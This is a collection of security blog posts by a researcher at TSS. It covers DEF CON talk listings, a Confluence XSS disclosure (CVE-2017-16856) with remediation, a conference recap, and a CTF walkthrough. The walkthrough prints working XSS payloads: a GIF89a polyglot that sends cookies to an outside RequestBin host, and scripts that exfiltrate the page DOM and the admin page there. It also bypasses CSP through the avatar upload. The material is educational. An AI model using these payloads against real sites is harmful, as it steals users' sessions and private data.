TSS will be representing in the Las Vegas area for #HackerSummerCamp this year, with a few of our team members speaking at the various InfoSec conventions throughout the week. Drop by our talks or find us somewhere among the sea of InfoSec people and say hi!

The Art of Business Warfare

Red Teams are designed to penetrate security in a real world test of effectiveness of security controls, policy, technology and infrastructure. Red Teams view security from an adversary perspective in order to simulate realistic attack scenarios that enable an organisation as a whole to prepare and protect against both simply and sophisticated threats. Red Teams build security culture and provide opportunities for staff to be trained using real world examples. During this presentation we will walk through a Red Team Assessment that simulates a state sponsored attack against Executives, and using their access to then test the entire security posture of the organisation from a digital, physical, social and supply chain.

Who: Wayne Ronaldson
When: Friday, August 10th 2018
Time: 6:40pm (50min)
Where: SEVillage, DEF CON | Octavius 3–8 — Caesars
More Information: https://www.social-engineer.org/sevillage-def-con/human-track-sevillage/#WR

Bug Bounty Hunting on Steroids

Bug bounty programs are a hot topic these days. More and more companies are realizing the benefits of running a program, and researchers are jumping at the opportunity to grab some swag and make some extra cash from the bugs they find. Reporting security issues has never been as easy, open, and risk-free as it is right now. Everybody wins!

Though that doesn’t mean we should stop there. As researchers, we spend a lot of time doing the same menial tasks for each program: monitoring for new targets, checking for common issues, remembering just which flags you needed to pass to that tool (or even which tool is best for that job). We build new tools, hack together shell scripts, and generally make small incremental changes to our process. But surely there’s a better approach? (…continued)

Who: Glenn ‘devalias’ Grant
When: Saturday, August 11th 2018
Time: 12:10pm (45min)
Where: Recon Village, DEF CON | Florentine I II — Caesars
More Information: http://reconvillage.org/talks-2018/#bug-bounty-hunting-on-steroids---anshuman-bhartiya-and-glenn-devalias-grant

DEF CON 2018 was originally published in TSS - Trusted Security Services on Medium, where people are continuing the conversation by highlighting and responding to this story.

Thanks to Atlassian and BugCrowd for running an awesome bug bounty program and giving researchers the opportunity to hack things, make the internet safer, AND get rewarded while doing so!

The CVE

CVE-2017–16856: The RSS Feed macro in Atlassian Confluence before version 6.5.2 allows remote attackers to inject arbitrary HTML or JavaScript via cross site scripting (XSS) vulnerabilities in various rss properties which were used as links without restriction on their scheme.

• Confluence Bug Report (CONFSERVER-54395)
• Confluence — Issues resolved in 6.5.2
• SecurityFocus

Remediation

This issue was fixed in Confluence 6.5.2. Update to this version or newer to be protected. See the CVE advisory details for more information.

Chaining bugs, social engineering and platform features

As part of my PoC, I put together some fun little phishing code using the Confluence web plugin API’s. If there is interest (and I’m allowed), I might share it (and some of the useful features/places to look to build similar) sometime.

Once XSS is achieved, if the current user isn’t already an ‘elevated’ administrator, the code provides error messages using standard Confluence GUI elements to convince the user to elevate their privileges with ‘websudo’. Once they do that, you can basically abuse their full privileges to create new administrators, or (my favourite) install a small malicious plugin to provide Remote Code Execution (RCE) on the server.

While these aren’t security issues in themselves, it does show how you can leverage social engineering techniques and other platform features to chain smaller issues into something more powerful and damaging.

Acknowledgements

These issues were identified by myself and the team at TSS:

• Glenn ‘devalias’ Grant (http://devalias.net) of TSS (https://dtss.com.au)

Conclusion

It pays to look in places less travelled. If there are older features in products, or things that may not be as popular/used as often, try looking in there. Who knows what may have been overlooked.

Have you ever looked into some popular software and found issues you never expected to find? Got a cool story to share about it? Maybe you’ve chained some bugs in an interesting way, or just want to hear more about my PoC? I’d love to hear from you in the comments below!

Originally published at devalias.net on December 5, 2017.

Atlassian Confluence: Cross-Site Scripting (XSS) (CVE-2017–16856) was originally published in TSS - Trusted Security Services on Medium, where people are continuing the conversation by highlighting and responding to this story.

At the start of 2017, I set a loose goal in the back of my mind that I would like to “get out there more” and “speak about the things I do”. Little did I know at the time that this would actually eventuate; leading to me having a pile of great experiences, and meeting some really cool and talented people!

TL;DR

SecTalks Canberra (November 14th, 2017; Canberra, Australia)

• “Hack FaaSter: Leveraging Docker and OpenFaaS for fun and offensive (security) profit.”
• Slides, workshop, etc: GitHub PDF, SpeakerDeck, SlideShare

CSides Canberra (November 17th, 2017; Canberra, Australia)

• “Gophers, whales and.. clouds? Oh my!” v0.2-prewlg-alpha

BSides Wellington 2017 (November 23–24th, 2017; Wellington, New Zealand)

• Speaker: Glenn ‘devalias’ Grant
• “Gophers, whales and.. clouds? Oh my!”
• Slides, etc: GitHub, PDF, SpeakerDeck, SlideShare

SecTalks Canberra

SecTalks Canberra is a monthly security meetup with more of a focus on participation and learning from others, rather than the traditional ‘super awesome technical talk but how do I do it’ style of things.

I had the opportunity to run a little workshop on how to use Docker and OpenFaaS to improve offensive capabilities.

Hack FaaSter: Leveraging Docker and OpenFaaS for fun and offensive (security) profit.

Slides, workshop files and more details are available from the ‘TL;DR’ section above.

Description:

Join us this month for Hack FaaSter — leveraging Docker and OpenFaaS to improve offensive tooling, with the glorious @_devalias (Github // LinkedIn)

CSides Canberra

CSides Canberra is a monthly security meetup run by the organisers of BSides Canberra.

I had the opportunity to present a v0.2-prewlg-alpha version of my BSides Wellington talk, and get some practice and feedback in before the big thing.

Gophers, whales and.. clouds? Oh my! (v0.2-prewlg-alpha)

Slides and more details are available from the ‘TL;DR’ section above, as well as the BSides Wellington section below.

BSides Wellington

BSides Wellington (Twitter) is an annual security conference (based in Wellington, New Zealand) that ran it’s first event in 2017. Popping up to fill the void left by Kiwicon (Twitter), they had a strong first event, and hopefully will continue that trend into the future!

I had the opportunity to present my talk on leveraging DevOps trends and tools (Docker, Serverless, FaaS, Golang, etc), to increase my efficiency and effectiveness on the offensive side.

Gophers, whales and.. clouds? Oh my!

Slides and more details are available from the ‘TL;DR’ section above.

You can read the official brief of my talk:

Go, Docker and Microservices; some great technologies and buzzwords that we hear so much about on the development side of the fence, but how can we leverage these technologies to improve our offensive capacity? Armed with a passion for new tech, a vague theory, and an ‘nsa-o-matic’ approved project name; gopherblazer was born.

Whether through dockerising and improving existing tooling, leveraging Function-as-a-Service (FaaS) offerings, or just distributing offensive capabilities; I’ll share what I learned on my journey into improving my offensive capacity and productivity (while having an excuse to play with shiny technologies along the way!).

And I can even now say that I have a professional speaker bio:

Glenn ‘devalias’ Grant is a full-stack, polyglot developer with an acute interest in the offensive side of security. Whether building something new or finding the cracks to break in, there is always a solution to be found; even if it requires learning something entirely new. If you can improve/automate something, do it, and if you’ve put the effort in to do so, open-source it and share it with everyone else.

When not hacking and coding, Glenn can be found snowboarding the peaks of Japan, falling out of the sky, floating around underwater, or just finding the most efficient path between A and B (even if that’s over walls). Life is short. Do the things you love, embrace the unknown, live your dreams, and share your passion.

Overall, the conference was amazing. As expected, there were a number of deeply interesting technical talks, but as a bit of a twist from traditional security conferences, there were quite a few talks that focussed on mental health, impostor syndrome, and other ‘culture based’ topics that so often go unmentioned in the infosec industry. Very much appreciated and would love to see this sort of thing happen at more conferences in future.

If you missed the talks, or want to go back and re-watch them, videos should be posted online at some point (once the organisers recover from running the conference). A lot of the presenters also seem to be pushing their slides/content out online. Here’s a selection of the few I’ve stumbled across so far (in no particular order):

• Glenn ‘devalias’ Grant, “Gophers, whales and.. clouds? Oh my!”(Twitter)
• Ben Hughes, “Layer 2 person spoofing and impostor syndrome”(Twitter)
• Serena Chen, “Design for Security — BSides Wellington 2017”(Twitter)
• “Alex”, “Operation Luigi: How I hacked my friend without her noticing” (Twitter)
• @jenofdoom, “Give your users better feedback about rubbish passwords with zxcvbn”
• Simon ‘bogan’ Howard, “Influencing Meat Puppets Through Memes” (Twitter)

It looks like there are also some good summaries, notes and writeups of the conference popping up around the net. Some places to start looking:

• B-Sides Wellington — Day 1 (Notes) (Twitter)
• B-Sides Wellington — Day 2 (Notes)
• BSides Wellington Badge Challenge (Twitter)

And of course, Twitter is always full of content when it comes to the security industry, with 3 hashtags mainly being used throughout the conference:

• #bsideswlg
• #bsideswlg2017
• #bsidesnz

Conclusion

While at times I was definitely feeling the stress and pressure of having a few looming deadlines, and at times possibly not allocating enough time/energy/focus to working on them as I would have liked, it has been a great experience, and left a smouldering flame of passion to speak at more events in the future.

Know of any other write-ups, slides or tools; or got a cool story to share from BSides Wellington? Would love to hear from you in the comments!

Originally published at devalias.net on November 19, 2017.

Hack the gibso.. Website

To start off, we were given a URL to a website that looked like a pretty standard sort of blog. Features included things like account registration/login, avatar upload, messaging between users, search, posts (not by a standard account), comments on posts (standard account), showing online users, etc. And the administrator was online.. interesting.

Poking around at things, I discovered that the messaging system didn’t seem to filter out HTML from the subject/message body. Easy! (or so I thought) I put together a super basic PoC XSS payload and tried it out by sending a message to my own account:

<script>alert('XSS')</script>

I checked the message.. but for some reason it didn’t pop, even though my payload seemed fine in the source. :(

<div class="well">
  <script>alert('XSS')</script>
</div>

Looking at the developer console gave me some more insight. Apparently this site had Content Security Policy enabled, and it was blocking my payload.

Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-kNShxzU0TYI8w1bsujgbPcQ4oIISMT9erFfdwx1ma+M=’), or a nonce (‘nonce-…’) is required to enable inline execution.

Probably should have noticed those headers earlier.. Oh well, now to find a way around them. With spacing added for readability, the headers looked like:

Content-Security-Policy:
  default-src 'none';
  img-src 'self' placehold.it *.imgix.net;
  script-src 'self';
  connect-src 'self';
  style-src 'self' fonts.gstatic.com fonts.googleapis.com;
  font-src 'self' fonts.googleapis.com fonts.gstatic.com;

Since compromising Google or any other websites just to beat this CTF seemed out of the question, I figured I needed a way to get my script payload uploaded so that it would run from self.

How about that avatar upload functionality? Well, as you might expect, it was restricted to uploading images. But surely we could find a way around that.. right? Seems so! By making use of a super simple image format, we could trick the image checker and upload our payload.

Using the GIF89a format (which conveniently starts with it's name, then the rest is the GIF payload) I constructed and uploaded my new 'avatar' pwn.gif, designed to steal cookies via RequestBin:

GIF89a/*.......*/=0;
window.location='http://requestb.in/secretcode?c='+document.cookie;

This passed the file format checker (which should have seen it as a GIF), and hopefully when I included it in my XSS, the JavaScript would execute. Not the stealthiest payload, but it should do the trick. It was time to test out my new ‘avatar’ by sending myself a test message:

<script src="http://example.com/uploads/filenamehash.gif"></script>

Loading the new message.. there was still no payload! :( It seems Chrome foiled my plans again:

Refused to execute script from ‘http://example.com/uploads/filenamehash.gif' because its MIME type (‘image/gif’) is not executable.

This seemed like a browser specific security feature though, so trying it out in Safari, my payload executed. Good work Apple security! Checking the captured results on RequestBin there were no cookies. Guess I probably should have looked at that HttpOnly flag first.. Sometimes I just get caught up in the heat of the moment.

Ok.. so we couldn’t steal the cookies.. but what could we do? Cross-Site Request Forgery (CSRF) maybe? There was a CSRF token designed to prevent this, but it didn’t seem to get validated. That’s good.. but what should we target?

Needing some better visibility on the situation, I decided to just steal the whole DOM and have a look around. Maybe the administrator had other cool things to look at? Hacker-eyes activate! (comments added for clarity):

GIF89a/*.......*/=0;
/* Wait for the page to fully load */
window.onload = function() {
  /* Create a form to send to RequestBin */
  var f = document.createElement('form');
  f.id="haxForm";
  f.method="post";
  f.action="http://requestb.in/secretcode";

  /* Create a textarea to store our data */
  var t = document.createElement('textarea');
  t.name="haxPayload";

  /* Capture the entire DOM and Base64 encode it */
  t.value = btoa(document.documentElement.outerHTML)

  /* Inject the form and send it */
  f.appendChild(t);
  document.body.appendChild(f);
  document.getElementById("haxForm").submit();
};

Ignoring my rusty JavaScript, the new payload would create a HTML form element with a textarea, grab the entire contents of the DOM, Base64 encode them, stick them in the textarea, inject the form into the page, then send that off to RequestBin.

After checking that this actually worked against my own account, I sent a message to the administrator and waited. After a minute or so, the message status changed to read. Heading over to RequestBin and decoding the captured DOM, I found the following snippet:

<li><a href="admin.php">Administration</a></li>

Sweet, let’s find something juicy on that page! Reworking the payload (with a little help from JQuery that was already on the site):

GIF89a/*.......*/=0;
/* Wait for the page to fully load */
window.onload = function() {
  /* Create a form to send to RequestBin */
  var f = document.createElement('form');
  f.id="haxForm";
  f.method="post";
  f.action="http://requestb.in/secretcode";

  /* Create a textarea to store our data */
  var t = document.createElement('textarea');
  t.name="haxPayload";

  /* Inject the form */
  f.appendChild(t);
  document.body.appendChild(f);

  /* Load the admin page ajax-style, Base64 encode it, send it off */
  $.get("admin.php", function(data) {
    t.value = btoa(data);
    document.getElementById("haxForm").submit();
  });
};

Using the last payload as the template, I updated it to load the admin.php page via ajax, Base64 encode the result and send it to RequestBin. After uploading, messaging the administrator, waiting, checking the response and decoding; it seemed there wasn't even a need to do anything else:

<legend>
  <h3>Administration</h3>
</legend>
<h4>flag{the-secret-flag-code}</h4>

Mischief managed!

Raw Notes

I figured it might be fun to include the raw snippets of notes I made as I was going through this, to give a better idea of my thought process throughout:

• Administrator is online
• We can send messages to users
• We can inject images/etc in messages, but ContentSecurityPolicy blocks us from executing code from anywhere but self
• We can upload image files (can we make that other types?)
• GIF89a based XSS, won’t exec in chrome though..
• Administrator will read messages we send them (check the ‘sent’ page)
• Admin isn’t using chrome! :p
• The request doesn’t send us any cookies! :( (they’re HTTP only)
• CSRF token doesn’t seem to actually be validated.. What can we CSRF..?
• Use the XSS to send us the admin’s DOM
• Seems there’s an admin.php page..
• Ajax the admin page
• Success!

Conclusion

This CTF was a pretty fun little challenge, tying together XSS, CSP bypass, file upload/image abuse and snooping through the DOM.

Has this helped you learn something new? Got a better way to approach it? I’d love to hear from you in the comments!

References

Content Security Policy

• Content Security Policy | OWASP
• Content Security Policy Cheat Sheet | OWASP
• “An Introduction to Content Security Policy” by HTML5 Rocks
• Content Security Policy References and Examples

File Upload/Image XSS

• “GIF Image XSS” by eXpl0i13r
• File Upload XSS | Hack2Learn
• List of File Signatures | Wikipedia
• “Exploiting PHP-GD imagecreatefromgif() function” by d0lph1n98

Capturing Requests

• Request Bin

Originally published at devalias.net on September 16, 2016.